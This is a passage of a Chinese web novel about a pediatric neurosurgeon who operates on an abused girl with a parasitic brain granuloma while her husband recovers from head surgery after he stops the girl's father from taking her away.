南栀敛起笑容,严肃道:“这是谁打的?” 叶秀英慌张地把卢思萌的衣服放下,“不是打的,真不是打的,是她不小心摔的。” 南栀声音平静,“这类伤痕我最熟悉,我从小就接触,一眼就能看得出来。” 叶秀英怔住,不太明白什么叫从小就接触。 “这是被人打的,看痕迹,应该是掐的,”南栀问卢思萌,“是姥姥打你吗?你不要害怕,说实话,我在帮你。” 卢思萌轻轻摇头,她说道:“没关系的,已经不痛了。” “有关系,”南栀认真道,“这是你的身体,你有责任保护好它,你要告诉我,是谁在伤害你。” 卢思萌看向叶秀英。 南栀神色渐冷,“如果您不想说,我现在就报警。” 沈玫很有眼力见,立刻把电话推到南栀面前,南栀顺势拿起电话听筒。 “别报警!”叶秀英按住南栀的手,无奈道,“报警也没用。” 南栀看向叶秀英。 叶秀英说:“是她妈,她妈和她继父吵架了前段时间闹离婚,闹得挺凶,回家住了一段时间,就……你报警也没用,警察还能把她妈抓走?” 南栀问卢思萌,“是妈妈打的吗?如果是姥姥,你也可以告诉我。” 卢思萌小声说:“真的没关系的,妈妈虽然打我,但是也会回来看我,是我不听话,妈妈才打我的。” 南栀终于能肯定,卢思萌的父母不仅抛弃了她,还会动手家暴她。 沈玫听着便难过,“小朋友,就算是爸爸妈妈,也无能拿你撒气,这都是犯法的。” 南栀看着卢思萌,恍惚间好像看到自己。 她爸爸妈妈对她生气时,也是同样的迁怒吧? 沈玫带叶秀英去给卢思萌办理住院手续。 儿研所的床位不够,卢思萌只能挤在多人病房里。 她回到诊室,唏嘘道:“这孩子真可怜,明明是挨打,却还因为能见到妈妈而高兴。” 南栀没说话。 沈玫说:“她怎么会有这种想法?真的难以理解。” 南栀轻声道:“或许就是很想见到他们吧。” “啊?他们?谁?” …… 晚上陆随不忙时,会来接南栀下班。 两人经常去街上解决晚饭,首都到处都有小摊。 陆随带着南栀去吃卤肉面。 明明多加了一份肉,南栀看着却没什么胃口。 陆随又给南栀去买汽水,“太累了没胃口?” 南栀没精打采地摇头,吞吞吐吐道:“你还记得卢思萌吗?” 陆随:“记得,喜欢钻床底。” 南栀强调,“是喜欢拉着你一起钻床底。” 陆随:“……” 那段历史简直是他的案底。 “她生病了,明天做MRI,情况不太好,看CT结果,应该需要开刀。” 陆随和卢思萌相处的时间可不短,有一段时间他们一直在一个病房。 井珧闹腾,卢思萌听他的话,两人经常找陆随“出谋划策”。 谋的都是怎么对付医生和护士。 在陆随的印象中,卢思萌虽然有哮喘,但一直是很活泼的小姑娘,脑部也没问题,应该是最近两年的事。 陆随安慰道:“你只要好好做手术就好了,复杂的手术只能你来做,也许她等的就是你能做手术的这一天。” 南栀说:“手术当然要我来做,只是……她爸妈的态度不太好,不想给她治病,不想再花钱,她妈妈还会打她。” 下班之前叶秀英又去联系了女儿,想找她要点儿手术费用,但被一口回绝。 卢思萌的妈妈态度强硬,这刀他们不开,她也没钱,想要钱去找卢思萌她爸。 叶秀英只能给卢思萌的爸爸打电话,得到的答案一样。 这一点,夫妻俩的想法倒是一致。 陆随问:“你是想到你爸妈?” 南栀再次摇头。 她现在有亲人有朋友,每个人对她都很好,她对以前的事早就释然。 不是下意识地选择忘记,而是记得,但不在意。 南栀说:“我想帮帮卢思萌,但不知道该怎么帮她。” 南栀都能想象到,有这么一对父母,就算卢思萌手术成功恢复健康,未来的路也很难走。 她知道这种感觉,所以不想让卢思萌重蹈覆辙。 陆随安慰道:“起码她的姥姥还想救她的命,现在最重要的是给孩子治病,其他事……等做完手术再说。” 现在也只能如此。 第二天一早,叶秀英借来轮椅推卢思萌去做检查。 南栀与两个副主任聚在一起讨论卢思萌的病情。 “右侧颞顶枕多囊腔巨大占位,有钙化,是肿瘤?还是脑囊肿?又不像是普通的肿瘤……这孩子什么情况?” “不管是什么病,这个体积都必须做手术切掉,找好入路,确定手术方案,她脑袋里到底长了什么,做个病理就知道。” 手术时间定在三日后。 叶秀英带的钱不够,想回老家卖房,和南栀商量晚一点儿交钱。 南栀肯定是同意的,沈玫有点儿担心叶秀英会跑,把重病的孩子扔在医院的家长真不少。 沈玫劝她让叶秀英找人来送钱。 南栀想到尹安安。 当初张琪做手术,尹安安背着他们给张琪签字,她现在的心情大概和尹安安一样。 南栀道:“不用了,就算她真的跑路,这台手术也得做,最差的结果是我来出费用,没关系。” 她起码要先给卢思萌找一条活路,再谈以后。 沈玫不太赞同。 医生这点儿工资,没法帮助很多人,如何在众多需要帮助的患者中做取舍都是问题。 但南栀对卢思萌,好像有不一样的情感。 沈玫道:“好,我帮你。” 叶秀英没离开首都,卢思萌确定需要做手术的第二天,她的父亲卢勇便赶到医院。 卢勇和卢思萌的母亲在一起时才十九岁,现在年纪也不大,穿一身西装,说是在做生意。 “我是真不知道孩子生病的事,不然怎么也得来看看,唉,你说这老太太也是,这么大的事才通知我,这多不好。” 南栀面无表情地看着他。 卢勇说:“这病要治,肯定得治,您放心,我们必须治!” 卢勇态度积极,南栀反而不太放心。 她找出卢思萌的片子,打算和卢勇详细解释,“你来看看,这是卢思萌的片子,她的右……” “不用看不用看,南主任的医术我放心,不会有问题。” 南栀:“……,她需要做手术,费用方面,叶阿姨应该和你聊过。” 卢勇只点头,“明白,我都明白。” 卢勇不给南栀详细介绍的机会。 南栀只能叮嘱他如何照顾卢思萌,卢勇看起来也不太上心。 卢 勇走后,南栀还在看卢思萌的手术费用单。 沈玫好奇道:“怎么还在研究手术费?卢勇不是说他会付钱吗?” 南栀道:“不知道该怎么说,我对卢勇好像没那么放心。” 尤其是看到他敷衍的态度,南栀就更没办法相信他。 现在她能做的,就是做两手准备,手术要正常进行,如果卢勇那边出问题,她要及时补上费用。 接下来两天卢勇倒是没作妖,每天都去医院看望卢思萌,还会和叶秀英一起照顾她。 最开心的是卢思萌,她好像不知道卢勇曾想抛弃她,每次见到卢勇都开心地叫“爸爸”。 南栀现在倒是很怀念跟着井珧瞎混的卢思萌,现在的卢思萌,好像在习惯性讨好别人。 南栀把这事告诉陆随和箫珵。 箫珵总喜欢跟在他们后面,三人一起找烧烤摊吃烧烤。 “你多心了吧,卢勇如果不想负责,就没必要来首都,从临川赶到首都费时费力,他没必要。” 南栀挑了最瘦的羊肉串,烧烤太香,咬着羊肉说道:“他看着就不像好人。” 箫珵问:“卢思萌是你刚去医院时就在的孩子?” 南栀点头。 “难怪你上心,”箫珵道,“反正你已经打算给她出钱做手术,人在医院,做不做手术在于你,最坏的结果就是卢勇跑了,你出钱。” 南栀心里轻松不少。 箫珵说得对,最坏的结果就是她出钱而已,没什么好担心的。 卢勇就算真不想要卢思萌,也只能抛弃她而已,他还能怎么样? 心里轻松后,南栀想到一件事。 她看向陆随,问:“听卢思萌说,你告诉她我是傻瓜?我还为此得到一个绰号?” 陆随:“……” 他无辜地坐端正。 火怎么烧到他这边了? 陆随讨好道:“我不会说你的坏话,你了解我的。” 南栀更无辜,“但你是卫天时,很不听话。” 箫珵:“可不,他仗着自己是小孩子,故意和我作对,我都记得。” 陆随:“……” 最近总是被兄妹俩联手欺负。 陆随很感慨,他怎么就没带个哥哥一起穿过来? 他主动说:“以后下班你先洗澡,洗手间你先用,我绝对不和你抢。” 箫珵煽风点火,“本来就该我们南栀先去,难道你平时都和南栀抢洗手间用?” 陆随:“……,其他要求也可以答应。” 南栀问:“你还有筹码吗?” 陆随:“……” 知道了,工具人不配谈判。 第122章 第122章家属 翌日,南栀被主任叫过去,她现在有新的任务。 “康宁医院儿科组织架构完善,值得全国医院学习,小南啊,医生们是最需要保持学习的,你看看,两家医院搞搞合作,互相学习,如何?” 南栀敏锐道:“儿研所缺人?” 主任:“……” 她最近没看《职场人情世故》吗? 主任:怀念那位不知名护士的一天。 其实儿研所不是缺人,而是缺人才。 也许南栀自己都没意识到,在她的带领下,康宁医院小儿神外的手术团队无论多复杂的手术都能做,南栀在时,水平比儿研所都要高。 南栀带出来的几个医生,都是手术台上的好手,比如阮乔和韦初雪。 但他们离得太远,彼此不能通消息,也无法分享病例,实在不利于发展。 所长这才让他们互相学习,最好能组织医生去进修。 南栀在儿研所,儿研所的医生就不必去康宁,所以主要是组织康宁医院的医生来儿研所学习。 这对康宁医院来说是好事,全国各地的医院都想和首都医院合作。 主任让南栀拟名单,南栀第一时间把阮乔和韦初雪的名字填上,这都是她们外科的人。 其他人也得抓住机会,南栀郑重写上盛昭云的名字。 主任问:“这些都是外科医生?” 南栀摇头,“盛医生很优秀,需要这样的机会。” 主任没再多说。 除了康宁医院,南栀还挑了其他医院的医生,都是过去有过接触,办事牢靠脑子清楚的。 他们医院还好,大部分人都有正经学历,办起事来还算明白,有的人真是一点儿事都办不了。 南栀定好名单,主任再交给领导。 主任又想起南栀手里的病人,“听说有个颅内占位大的,什么时候开刀?” 南栀道:“明天下午做手术,出病理报告后才知道具体是什么情况。” “你开刀我放心,”主任轻咳一声,笑容和蔼,“小南啊,最近来的几个实习生,你有没有看中的?能带几个是几个,你虽说学历方面有问题,但水平可没的说,你要学习舒教授嘛,带几个学生出来,对不对?” 南栀当然不会拒绝,如果不是舒映阶在人生最后阶段一门心思找学生教,她现在不见得能做好神外的手术。 和主任商量妥,主任直接分给她两个实习生,“这两个都是聪明的,我可是真惦记你,聪明的都给你。” 南栀天赋高,让她带几个有天赋的,争取多培养几个优秀医生。 南栀反应平平,好像没多感激。 主任:“……” 算了,她应该体会不到学生的聪明。 卢思萌的手术定在下午。 陆随作为卢思萌的“朋友”,带了果篮和玩具来看望她。 大部分小女孩喜欢过家家和洋娃娃,卢思萌不同,她跟在井珧身边太久,喜欢玩具枪和坦克。 陆随买的就是坦克模型。 在卢思萌惊恐的目光下,陆随把模型放到床头,然后用熟稔的语气说:“睡一觉就醒了。” 卢思萌:“!!” 这个叔叔怎么会知道她喜欢坦克的事?! 只有井珧他们知道啊! 爸爸妈妈好几年没给她买过玩具了,他们都不知道! 陆随看到卢思萌的反应,故意微笑道:“我不仅知道你喜欢坦克,还知道你曾经把姐姐送的洋娃娃的头弄丢了,你现在还不敢告诉她。” 卢思萌:“?!,叔叔,你是谁啊?!” 陆随:“我是大师,会算命,我可以帮你算命。” 卢思萌歪着脑袋问:“什么都能算吗?” 陆随笑道:“可以,比如我能算到,你的手术会非常顺利,你能长命百岁。” 卢思萌却摇摇头,“叔叔,你帮我算算我妈妈去哪了,她好久没来看我了。” 陆随微怔,沉默良久,却什么都答不上来。 陆随来病房时,卢勇和叶秀英都不在。 他不知该如何安慰卢思萌,也不知她是否需要安慰,便叫来护士看着她,先离开病房。 卢思萌下午就要做手术,按理说叶秀英应该一直守着。 陆随打算去找南栀,说说卢思萌的情况。 他来儿研所的频率和去富雅医院差不多,对儿研所各个楼梯小门都了如指掌,平时都抄近路,不和患者抢楼梯。 陆随走到楼西边的楼梯间,这边人比较少,去南栀的办公室还方便。 他刚走了两步,就听到楼下传来激烈的交谈声。 “我都跟你说了,你女儿都不想要她,你还留着干什么?早就让你送福利院,你就是不听。” “福利院不收,你直接扔火车站不就得了?什么厂子里的人看到会说闲话,听几句闲话算什么?你一个老太太还能活几年,你死了她怎么办?能活?” “你知不知道动手术要多少钱?芸芸是不会同意我家来出钱的,芸芸肚子里是我们卢家的大孙子,我爸妈现在也只认他一个!” “你就别管卢思萌了!” 陆随不动声色地走过去,交谈的人是卢勇和叶秀英。 南栀担忧得没错,卢勇的确只是敷衍她,真没打算给卢思萌治病。 叶秀英神色悲痛,“你们都不 管,我老婆子管,天底下就没有丢了自己孩子的说法。” 卢勇显然很无语。 他吼道:“卢思萌是我女儿,你别管了!” 卢勇转身往楼上走,陆随先往楼上去,避开卢勇,等他和叶秀英都回到走廊后才跟下来。 卢勇是往卢思萌的病房走的,叶秀英脚步不如他快,落在后面,被护士叫住,“阿姨,萌萌马上就要做手术了,你们别再走了啊,多陪陪她,小孩子都会害怕的。” 眨眼的工夫,卢勇已经不见了。 陆随没管叶秀英,快步往卢思萌的病房走。 两个护士推着推车过来,陆随被挡了一小会儿,到卢思萌病房时,卢思萌已经不在了。 陆随问同病房的患儿家属,“萌萌去哪了?” 家属道:“刚刚她爸过来,带去厕所了。” 陆随问:“孩子要去还是他要去?” 家属听不明白。 继续问也只是浪费时间,陆随先出去找人。 他先去护士站询问,护士们没看到卢思萌被抱走,接着他又找女护士去厕所找人,同样没人。 陆随愈发不安,“我听到卢勇和叶秀英谈话,卢勇不想让卢思萌动手术,如果你们有时间,我们分头去找找?” 在儿研所,护士们本不应该认识陆随,他不是儿研所的陆医生。 但因为南栀,整个儿研所没有不认识陆随的。 任何人看到陆随都能脱口而出——“南主任的丈夫!” 因此护士们很给陆随面子,毕竟儿研所挖到南主任很不容易。 几个人分头行动,去找卢思萌。 南栀上午也有手术,下了手术台后,回办公室吃了几口沈玫帮她打的午饭,接着又去准备卢思萌的手术。 她忙得连饭都吃不上几口,对儿研所的骚动也一无所知。 经过一楼时,她隐约听到有人议论,“倒下来了,头上都是血,特别吓人。” 南栀看到一群人聚在楼外,急诊的医生正往这边飞奔。 这在医院并不少见,南栀见有医生过去,便没再过去看情况,下午的手术也很重要。 手术团队其他人已经到齐。 麻醉医生是陆敬玮的学生,和南栀磨合得不错,“栀栀,我老师说了,如果有身体状况很差的患儿,你就直接叫她,她过来坐镇。” 好的麻醉医生很难得。 南栀道谢。 奚阳华看着默默准备手术的南栀,有点儿不高兴。 这死丫头上次见还很显小,现在却很有主任的气势,哼。 他的烤鸭,他的零食,通通错付了!她终究是回来了! 沈玫安静地帮南栀准备手术前需要用到的工具。 奚阳华唠唠叨叨,“如果没有南栀,我现在就是副主任了。” 沈玫终于被他念叨烦了,“没有南栀,你现在也只是普通的主治医生,很多手术都不能主刀,你再唠叨,我就去告诉南栀,让她派你去洗尿布。” 这都多久了,还不能接受现实?! 洗尿布给奚阳华带来巨大阴影。 遥想当年,他还是个天真无邪的学生,被困在病房洗了两天的尿布。 小孩子的尿布可真是洗一次就“上瘾”,那种感觉,这辈子都难以忘怀。 奚阳华瞬间变乖巧。 只要不让他去洗尿布,做什么都行。 南栀准备完毕,示意他们去把卢思萌带过来。 做手术一般需要提前排队,但南栀上一台手术拖得时间太久,还去吃了午饭,护士就没立刻把卢思萌带过来。 在南栀准备的过程中,护士已经把人推到门外等候。 卢思萌被推进来,她脸色很差,见到南栀就开始掉眼泪。 生病以来,卢思萌虽然时常不舒服,但始终没哭过。 不管吃多苦的药,她也是闷头就吃,一次都没犹豫过。 南栀示意麻醉医生先等等,她问卢思萌,“是害怕了吗?” 卢思萌摇摇头。 南栀奇怪道:“不害怕为什么要哭?这台手术姐姐做过很多次,是很成熟的手术了,相信姐姐好吗?” 卢思萌小手拽住南栀的无菌服,“我不是故意的……” 南栀不太明白。 护士说:“我刚刚出去的时候,听到外面挺乱的,有警察过来了。” “是哦,来手术室的路上,我也看到警车了,”沈玫说,“听说有人受伤。” 卢思萌瘪着嘴流眼泪,“我真的不是故意的。” 沈玫茫然道:“警车和你没关系啊,什么不是故意的?” 奚阳华一在南栀面前就像变了个人,控制不住地煽风点火,“人家可能就是不敢让南栀主刀。” 沈玫:“……奚阳华你不说风凉话是不是能死?你怎么一见到南栀就像坏人?!” 奚阳华愣了一下,又思考了好一会儿,大惊失色道:“还真是!” 他得了一种靠近南栀就变成坏人的病! 像极了电视剧里主角身边的坏人小配角! 沈玫把奚阳华推开,耐心引导卢思萌,“萌萌,我们都相信你不是故意的,但你要先告诉姐姐到底发生了什么事,姐姐才能帮你呀,对不对?” 卢思萌哭得更凶了。 手术室的门突然被推开,主任出现在手术室门口,“还没开始?南主任,你跟我出来一趟。” 南栀的心七上八下,怎么都无法保持平静。 南栀跟在主任身后。 等走到没人的地方,主任才说:“这种情况我们都能理解,这台手术我来做,你去看看吧。” 南栀的心跳声愈来愈大,几乎要盖过主任的说话声。 南栀强装镇定,“出什么事了?我在手术室,不太清楚。” “你还不知道?”主任叹气道,“小陆……小陆来医院了,正好遇到一个家长要把孩子带走,不知怎么的就打起来了,他人现在在急诊,我去看了,单侧瞳孔放大,硬膜外血肿,需要手术。” 南栀脑中轰然巨响,她看了主任好一会儿,扶住围墙,慢慢道:“您是说,陆随需要做开颅手术?” 一个小时前,陆随和护士们一起去找卢勇,陆随最先在天台找到他。 卢勇当时抱着卢思萌站在天台边缘,口中念念有词,“你不能怪爸爸, 都怪你妈,当初是你妈非要和我在一起,才有了你,现在只要你还在,阿姨就没法和爸爸好好在一起,为了弟弟,你就忍忍吧。” 卢思萌不知道爸爸在说什么,她只知道爸爸难得抱她出去玩,虽然头很晕、身体也不舒服,但她还是很开心。 南栀用身体靠着墙,问:“他从天台摔下去了?” 楼有六层高。 摔下去,活不了。 就算能急救,重度颅脑损伤,活下来也可能是植物人,在病床上挺几年,然后撒手人寰。 这种事为什么会发生在陆随身上? 很多重度颅脑损伤的家属都会面对一个问题,救了可能是植物人,一辈子醒不过来,不救,人就彻底没了,救还是不救? 南栀通常只会把情况告诉家属,她很庆幸自己不必做选择。 在患者情况很糟糕,家属还坚持要救人时,南栀其实也有过无奈,对患者来说,可能体面地离开更好。 但现在,南栀脑子里只有一个念头——无论如何也要把人救回来,万一呢? 有多少就是为了这个玩意呢? 南栀说:“救,我一定救,不管他变成什么样,就算是植物人也要救。” 主任微怔,摆手,“不不不,没那么严重,他是在一楼受伤的。” 南栀:“我一定会照顾他……哦,一楼?” “他是追家属追到一楼,两人打起来了,他被推倒,撞到地面,伤得不轻,现在还不清楚有没有伤到脑组织,我的意思是,如果及时开刀,情况可能会好很多,这手术你可以做。没必要非把人送到富雅医院去,万一在路上耽误了呢?” 虽然南栀给儿童开刀更多,但通常情况下,现在的神外医生既能给成人开刀,也能给孩子开刀。 南栀明白主任的意思。 陆随现在的情况可能很危险,也可能开了刀就能处理。 儿研所最好的神外医生是南栀,陆随又是南栀的丈夫,所以他来问南栀的意愿。 主任说:“你的性格我了解,别说是给陆随开刀,就算是亲爸亲妈来了,你也绝对不会感情用事,你在手术台上是最冷静、反应最快的,你去给陆随做手术,就算开进去情况危急,也能处理好,这个患儿的手术我来做。” 南栀沉默片刻,道:“陆随的手术您来做吧。” 主任再次愣住,“你不担心?” “担心,但是卢思萌的情况我最了解,现在换人,对患者来说不是好事。” 她虽然很担心陆随,但也要对手里的病人负责。 主任:“小南啊,其实吧……” 南栀低声道:“陆随会理解我的,您的技术……我也放心。” 主任:“听起来不是很放心。” 南栀悲伤不已。 主任就差直接叉腰,“小南,你能不能听我说几句?” 南栀尊敬道:“您说。” 主任:“那孩子连麻醉都没做,你现在跟我去看看陆随,她的手术推迟几个小时不就得了吗?事情本就是因她而起,她现在的情绪也不稳定,等她平复平复再说。” 南栀:“……” 哦,是哦。 主任想到南栀的不信任,试图报复,“呵,我看你也不算特别冷静,这都想不到。” 南栀:“……” 南栀跟着主任来到陆随的手术室。 儿研所的部分设备是根据儿童的身体条件定制的,有缩小版。 但经费有限,为儿童研发设备的公司实在不多,绝大多数设备工具都是成人版的。 主任曾经就是普通的神外医生,是在舒映阶的邀请下才来小儿神外。 主任来主刀,南栀在旁边等。 如果情况严重,南栀可以给出意见。 陆随被推进手术室。 他没有流血,但脸色极差,在进手术室之前已经是昏迷状态。 南栀走到他身边,心一直揪着。 “受伤后短暂昏迷,中间有清醒期,估计是血肿扩大,再次昏迷。有呕吐,一侧瞳孔散大,需要轻触血肿。” 主任看向南栀,“他的情况,开颅最好,你能行吗?” 白花花的脑子也挺吓人。 南栀已经恢复冷静,她点头,“主任,及时手术预后很好。” “好,开始手术。” 陆随的血肿未压迫脑干和功能区,情况良好。 主任手稳,手术进展顺利。 南栀放下心来,盯着陆随的头研究了好一会儿。 瞧瞧,不是每对夫妻都能真正了解对方的“内在”的。 陆随的脑组织也很好看嘛! 半个小时后,沈玫来找南栀,“卢思萌情绪稳定,可以开始手术了。” 南栀又看了一眼陆随,对主任郑重道:“我就把他交给您了。” 主任头都没抬,“恩,保证不会偷他脑子藏起来。” 沈玫:“……” 神外医生的笑话真可怕。 南栀回到病房给卢思萌做手术。 奚阳华很想讽刺南栀,但想起沈玫的话,为了不继续当“配角”,他只干巴巴地抱怨了几句。 卢思萌的手术正式开始。 卢思萌行右侧颞顶枕开颅病变部分切除术。 麻醉后,手术正式开始。 奚阳华虽然很会抱怨,但南栀做手术时,他比谁看得都仔细。 南栀做手术有诡异的和谐感,她好像能和血糊糊的场面融为一体。 沈玫也很认真,“右侧颞顶枕叶情况严峻,病变太多了。” “你们听说没,孩子都这样了,她爸还不想给她做手术,表面上答应得好好的,其实想把孩子偷偷带走,被人家发现,还殴打人家,人就在咱们医院做手术。” 说话的是巡回护士。 奚阳华道:“巧了,挨揍的还是南主任的男人。” “呀,那个帅哥?” 奚阳华:“……你只会看脸吗?” “陆医生我认识,他的长相最突出嘛,不然咱南主任能看上吗?南主任你放心,你刚才去看过了吧?他的情况应该还好。” 南栀说:“的确。” 巡回护士笑道:“我就知道你最冷静。” 南栀:“长相的确很突出。” 奚阳华:“……” 瞧瞧他们不要脸的副主任。 南栀虽然搭话,但表情一直严肃,卢思萌的情况不太好。 囊壁新生细小血管密布,弹性极差,而且血供丰富,这意味着止血有难度。 “囊液都成米汤了……这是什么?”沈玫指着一块白花花的东西,这东西她没见过。 南栀看了一会儿,平静道:“虫卵。” 奚阳华几人惊悚地抬起头。 南栀说:“寄生虫性肉芽肿,看,虫卵周围还有纤维结缔组织增生。” 沈玫听到虫卵有点儿反胃,“为什么会这样?” “血吸虫虫卵,脑寄生虫病,也可以寄生在身体其他部位,她的刚好在脑袋里。”南栀说,“干活吧,不管是什么,都得先切了。” 几人低下头,手里忙个不停。 手术室外,警方正在给叶秀英做笔录,叶秀英情绪激动,一直在痛骂卢勇,“他还是人吗?他还真想把孩子带走?!护士找我说了两句话,他人就没了!你们去抓他,把他抓进监狱!!” 警察无奈道:“您冷静冷静,我们的人正在找他,您现在必须和我说说当时的情况,他为什么要攻击受害人?” 叶秀英语无伦次。 她惦记着卢思萌,实在没法平静地回答这些问题。 刚刚手术室里有护士出来,她隐约听到什么虫。 虫子在萌萌的脑子里?她得多疼啊。 叶秀英一想到卢思萌可能受的苦,就控制不住地流泪。 又想到卢思萌的爸妈没一个愿意管她的,就更难过了。 警方没办法在叶秀英这里得到答案,只能等手术做完。 手术结束,南栀和沈玫先走出来,南栀急着去看陆随,只说道:“手术过程顺利,等病理报告出来,再安排后续治疗。” 警察拦住南栀,“你是主刀医生?” 南栀点头。 警察说:“卢勇和卢思萌是什么情况,你和我们说说,这家属情绪太激动,说不出什么来。” 听到卢勇的名字,南栀脸色一沉,问道:“抓到卢勇了吗?” “还没,”警察低声道,“你这时候就别添乱了,配合配合我们吧,都是为了工作嘛,我们真是头都大了,这些家属,哎。” 南栀看向警察,“巧了。” 警察:“?” 南栀说:“我是受害人的家属,你抱怨的家属之一。” 警察:“……” 啊? 第123章 结局章(上)气人精 来医院的有民警也有刑警,和南栀对话的是民警。 听到南栀的话,他本来就大了的头彻底爆掉。 在里面手术的卢思萌,是犯罪嫌疑人的家属。 给犯罪嫌疑人家属做手术的是受害人的家属。 …… 他就说不想去派出所! 他重新端正态度,真诚道:“这位医生,犯罪嫌疑人的确还没抓到,但请你相信我,我们在努力了!” 警方要问的无非是卢勇为什么打人。 “陆随和卢勇有过节吗?听护士说,他去看望过卢思萌,他和卢思萌认识?” 南栀说:“陆随是富雅医院的医生,卢思萌是我们在临川市的朋友,她要做手术了,陆随去看她很正常。他不会无缘无故和卢勇起冲突,我们问过卢思萌,是卢勇要带卢思萌走,陆随去追。” 警察不太理解,“他女儿就要做手术了,为什么要把人带走?” 南栀一直觉得自己脾气挺好的。 但涉及陆随,她的耐心显然不多,她神色复杂地看着警察,“马上就要做手术,他要把卢思萌带走,您说是为了什么?” 警察:“……该不会是不想让卢思萌做手术吧?” 南栀把卢家的事简单讲了一遍。 她强调道:“陆随伤势严重,必须做手术解决,我们绝对不和解,卢勇必须坐牢。” 警察:“……明白。” 和警察谈完话,南栀才有机会去看陆随。 陆随的手术早就结束,麻药劲还没过,他还没醒,但好消息是手术成功,连ICU都不用去,直接去普通病房。 急性硬膜外血肿干预及时预后极好,主任已经通知过南栀,陆随不会有后遗症,这是不幸中的万幸。 南栀推了接下来的工作,守在陆随病床旁。 她把陆随的脸擦干净,又去买了些生活用品,他还要住几天院。 一个成人住在儿童病房有些奇怪,主任特意给他申请了单人病房。 单人病房数量少,很紧张,主任提了南栀的名字,人家才答应给他。 主任很是感慨,为了把南栀留在儿研所,他们真是无所不用其极。 南栀盯着陆随愣神。 沈玫给她送盒饭来,“这是我妈妈做的,炖的排骨,还有炒青菜,她手艺很好,你尝尝。” 南栀头一次觉得没什么胃口。 沈玫在她身边坐下,“很少见你这样,你应该知道,他的情况没那么糟糕。” 南栀慢吞吞道:“是挺奇怪的,明明知道没问题,但是……” 还是会紧张。 明明知道这在神外是小手术,但还是会幻想出现各种问题。 沈玫笑道:“看来你真的很喜欢陆随。” 南栀怔了怔。 有吗?她没觉得。 她一直认为,不管有没有陆随,她的生活都是一样的。 她和陆随在一起很开心,但这绝对不会影响她做其他事。 原来陆随对她而言这么重要啊。 南栀问:“父母在看孩子时,也是这样的想法吗?平时再冷静的人也会担心,这就是对我们而言重要的人?” 南栀说得有点儿乱,但沈玫能听懂。 她独来独往惯了,可能确实不太懂。 沈玫把排骨递给南栀,“陆医生会一直陪着你,我们也会陪着你呀,哦,还有那个莫名其妙的萧医生。” 箫珵,医术不错,但天天掺和陆医生和南栀的事。 这是沈玫对箫珵的全部印象。 箫珵:名声莫名其妙的就不好了哦。 十分钟后陆随才醒过来。 沈玫拍了拍南栀,笑道:“陆医生麻醉后没乱说话,太可惜了,我还想来听听。” 陆随在睁眼之前只能感觉到痛。 麻药劲儿过了,真痛。 他睁开眼,看到南栀。 南栀握紧他的手,激动地看着他。 陆随:“……你是?” 南栀大惊失色。 难道陆随大脑受到撞击后,又和身体原来的主人换过来了?! 南栀起身往外冲。 陆随赶紧说:“回来,我想起来了。” 南栀不敢掉以轻心,“我是谁?” 陆随:“南栀啊。” “还记得我们的关系吗?” 陆随:“我是工具人。” 沈玫:“……” 陆医生怪怪的,什么叫工具人?这是真伤了脑子吧? 南栀紧绷的精神放松,“还好,是你。” 沈玫:“……” 还好?? 沈玫也有点儿晕了,她不太理解这个世界。 沈玫把时间留给南栀和陆随独处。 单人病房的好处有不少,他们说话不用太注意。 “我刚才都吓死了,还以为又出意外,你再也回不来了。” 陆随拧着眉想碰切口,“哪有这么容易出意外,这刀是谁开的?” 南栀:“我啊。” 陆随:“不可能,缝得太丑。” 南栀傻笑。 几百米之外的主任莫名其妙不太开心。 好像有人在蛐蛐他哦。 南栀把事情经过讲给陆随,“当时的情况,我实在没法让主任给卢思萌动手术,而且卢思萌为了手术已经准备很久,我怕再来一次会影响她,你能理解吧?” 陆随点头,“明白,如果你和其他人同时需要做心脏方面的手术,我先选择其他人。” 南栀:“……” 她殷勤地奉上切好的苹果,“别这样嘛,吃点儿苹果。” 陆随冷哼一声。 南栀反思道:“以后我一定先救你,不,以后你的开颅手术只能我来做!” 陆随:“……” 那倒也不用,他不是很想做开颅手术。 南栀:“的确是我做得不对,我没把你保护好,忘记你是林黛玉体质,太柔弱了。以后我一定好好保护你,我……” “停,”陆随听得头疼,“这对吗?” 他怎么又柔弱了? 南栀无比温柔,“你说得对,不管你说什么都对。” 陆随:“……” 他逐渐失去反驳能力。 偶尔受伤,感觉也不错? 警方抓到卢勇已经是两天后,他伤人后想离开首都,发现车站已经戒严,便躲在汽车站附近的招待所,想跟黑车离开。 没想到车还没联系到,警察先来一步。 对于伤害陆随的事,卢勇没有否认,但问到他为何要将卢思萌带走,卢勇情绪激动,“我是要带她去看病,我怎么会害自己的孩子?!” 他不断地拍打桌子,表达愤怒。 警察厌恶地拧起眉,“卢思萌马上就要做手术,你还要带她去哪里看病?儿研所是全国最好的儿童医院,南主任是手术最厉害的小儿神外医生!” 卢勇说:“我是要带她回老家,老家有……老家有大师,大师给做个法,萌萌就好了。” 警察只能看到“卑鄙”二字。 虎毒不食子,卢勇居然对亲生女儿下手。 来审卢勇他都嫌晦气! “还狡辩!卢思萌已经醒了,医院的医生也能做证,你是想把卢思萌从楼顶丢下去!我就奇怪了,你再婚怎么还要杀了和前妻的女儿?你还是人吗?!” 卢勇紧靠着椅背,不敢再开口。 卢思萌和陆随的手术都很成功,两人都已清醒,不管他如何狡辩,都是杀人未遂。 卢勇交代了事情经过。 他称是他现任妻子无法接受卢思萌,他为了新家的和谐,不得已才对卢思萌下手。 原本是想让卢思萌发病算了,没想到叶秀英坚持给卢思萌治疗。 卢勇的行为丧尽天良。 卢思萌的术后病理报告也出来了,确认是寄生虫性肉芽肿,广泛多灶性坏死,虫体大部分已经死亡,形态符合血吸虫虫卵。 卢思萌是脑瘤型血吸虫病,术后恢复良好,接下来还要进行杀虫治疗。 卢思萌的情况很少见,主任把南栀带到首都的病例交流会,分享卢思萌的病情。 “血吸虫脑病临床分为脑膜脑炎型、癫痫型、脑瘤型和脑卒中型。卢思萌属于脑瘤型,临床表现以颅高压和局灶性神经损害为特征……” 南栀在台上讲话,台下是一众大佬。 全国最优秀的医生都集中在首都,能来参加会议的,都是精英中的精英。 主任最佩服的就是,南栀明明是第一次见到各个科室的大佬们,表现已经轻松。 他第一次跟着老师看到大佬们,都想直接跪下表达敬意。 好几个大佬来找主任打听南栀的情况,“这就是特别会做手术的年轻医生?” “听说直接把原来的医院带起来了,这是真有天赋,天赋难得。” “儿研所都惦记人家很久了,这下总算把人挖过去了。” “我还以为是年轻男人,没想到是女医生。” “呵呵,你也没想到舒教授是女人吧?” 南栀汇报结束,其他医生上台。 她走向主任,立刻被大佬围住,“小南啊,你刚刚说的血吸虫脑病,CT和MRI上是如何表现的?” “钙化和虫卵外壳有关吧?” 